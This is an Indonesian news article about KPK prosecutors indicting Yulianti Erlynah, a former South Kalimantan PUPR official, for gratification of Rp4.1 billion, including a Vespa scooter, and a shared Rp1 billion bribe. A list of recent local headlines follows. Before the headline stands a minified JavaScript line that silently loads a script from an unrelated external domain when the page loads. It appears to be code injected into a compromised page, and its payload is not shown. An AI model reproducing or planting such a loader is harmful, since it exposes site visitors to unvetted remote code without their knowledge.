(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Yulianti Erlynah Didakwa Terima Rp4,1 Miliar, Ada ‘Hadiah’ Sebuah Skuter Vespa


KANALKALIMANTAN.COM, BANJARMASIN – Tak hanya mantan Kepala Dinas (Kadis) Pekerjaan Umum dan Penataan Ruang (PUPR) Kalimantan Selatan (Kalsel) Ahmad Solhan yang didakwa menerima suap dan gratifikasi, bawahnya Yulianti Erlynah juga bernasib sama.

Mantan Kepala Bidang (Kabid) Cipta Karya Dinas PUPR Kalsel itu didakwa oleh Jaksa Penuntut Umum (JPU) Komisi Pemberantasan Korupsi (KPK) menerima hadiah dalam bentuk uang sebesar Rp4,1 miliar.

Uang tersebut diterima dari rekanan pemenang proyek di lingkungan Dinas PUPR Kalsel. Dimana dalam kasus ini, Yulianti Erlynah bertindak sebagai Kuasa Pengguna Anggaran (KPA) sekaligus Pejabat Pembuat Komitmen (PPK) pada sejumlah proyek Dinas PUPR Kalsel.

Baca juga: BREAKING! Empat Terdakwa Penerima Suap Proyek PUPR Kalsel Disidang

“Yulianti Erlynah gratifikasinya terpisah, yang diterima sekitar Rp4 miliar lebih,” kata salah satu tim JPU KPK, Meyer Simanjuntak.

Tak hanya berupa uang, berdasarkan dakwaan JPU KPK, pejabat Pemprov Kalsel itu juga disebut menerima hadiah berupa barang.

Barang bukti yang diterima Yulianti Erlynah yaitu sebuah sepeda motor skuter merk Vespa berwarna merah senilai Rp40 juta.

Atas perbuatannya itu, JPU KPK mendakwa Yulianti Erlynah dengan pasal 12B Undang-Undang Nomor 19 Tahun 1999 sebagaimana diubah dengan Undang-undang Nomor 20 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 65 ayat (1) KUHP.

Baca juga: Mantan Kadis PUPR Kalsel Didakwa Terima Gratifikasi dan Suap Rp12,4 Miliar

Meyer mengungkapkan, daftar saksi yang bakal dihadirkan dalam persidangan, termasuk pemberi gratifikasi kepada mantan Kabid Cipta Karya PUPR Kalsel tersebut.

“Yang memberi nanti dihadirkan di persidangan, diikuti saja siapa-siapa saksinya,” ujarnya.

Selain gratifikasi, Yulianti Erlynah juga didakwa menerima suap sebesar Rp1 miliar bersama-sama dengan atasannya, Ahmad Solhan dan orang dekat Solhan, H Ahmad.

Suap diterima dari Andi Susanto dan Sugeng Wahyudi, dua kontraktor yang mengerjakan proyek pembangunan gedung Samsat Terpadu di Gambut Kabupaten Banjar, kemudian lapangan sepak bola dan kolam renang di kawasan olahraga terintegrasi Pemorov Kalsel tahun 2024.

Baca juga: Nasib Kerja Badan Adhoc untuk PSU Pilwali Banjarbaru Belum Ditentukan

Uang suap diserahkan langsung oleh Sugeng Wahyudi kepada Yulianti Erlynah melalui sopirnya di salah satu Resto di Kota Banjarbaru dan dibungkus dalam kardus berwarna cokelat.

Setelah uang diterima dimasukan ke bagasi mobil dinas Kadis Cipta Karya, uang kemudian diserahakn kepada sopir Kadis PUPR Kalsel untuk kemudian disimpan oleh H Ahmad, orang dekat Solhan.

Perbuatan Yulianti Erlynah secara bersama-sama tersebut dincam dengan Pasal 12 huruf b jo pasal 55 ayat (1) ke-1 KUHP.

Atau alternatif kedua, pasal 11 Undang-undang pemberantasan Korupsi jo pasal 55 ayat 1 ke-1 KUHP.

Baca juga: Mahasiswa Kumpul Bersama Polisi, Kapolres Banjarbaru: Polri Tak Anti Kritik

Usai pembacaan surat dakwaan, Yulianti Erlynah melalui penasehat hukumnya mengaku tak mengajukan eksepsi dan memilih sidang dilanjutkan ke tahap pembuktian.

Majelis hakim yang diketuai Cahyono Riza Adrinato bersama dua hakim anggota Indra Meinantha Vidi dan Arif Winarno menetapkan sidang akan kembali digelar pada Kamis (6/3/2025) dengan agenda pemeriksaan saksi. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Upayakan Partisipasi Pemilih dalam PSU Banjarbaru Meningkat, KPU Kalsel Pasang Spanduk

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan terus berupaya meningkatkan partisipasi pemilih… Read More

7 jam ago

Dilantik Serentak, Jajaran Badan Adhoc untuk PSU di Banjarbaru Resmi Bekerja

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan resmi melantik ribuan anggota Badan… Read More

7 jam ago

Libur Idulfitri, Pelanggan PTAM Intan Banjar Bisa Bayar Tagihan Lewat SMS Banking, ATM Bank, atau Layanan Pembayaran Online

KANALKALIMANTAN.COM, BANJARBARU - Sehubungan dengan libur hari besar pada akhir Maret dan awal April 2025… Read More

10 jam ago

Pemkab Banjar Gelar Halalbihalal di Mahligai Sultan Adam

KANALKALIMANTAN.COM, MARTAPURA - Momen 1 Syawal 1446 H kali ini bertepatan Senin (31/3/2025) digelar Halalbihalal… Read More

1 hari ago

Sajian Makan Bersama Warga Setelah Salat Ied

KANALKALIMANTAN.COM, BANJARBARU - Momen Hari Raya Idulfitri di Kota Banjarbaru dimanfaatkan salah satu warga Kelurahan… Read More

1 hari ago

YBM Bersama Srikandi PLN Berbagi Berkah Ramadan kepada Mustahik di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Jelang Idulfitri 1446 Hijriyah, Yayasan Baitul Ma'al (YBM) dan Srikandi PT PLN… Read More

3 hari ago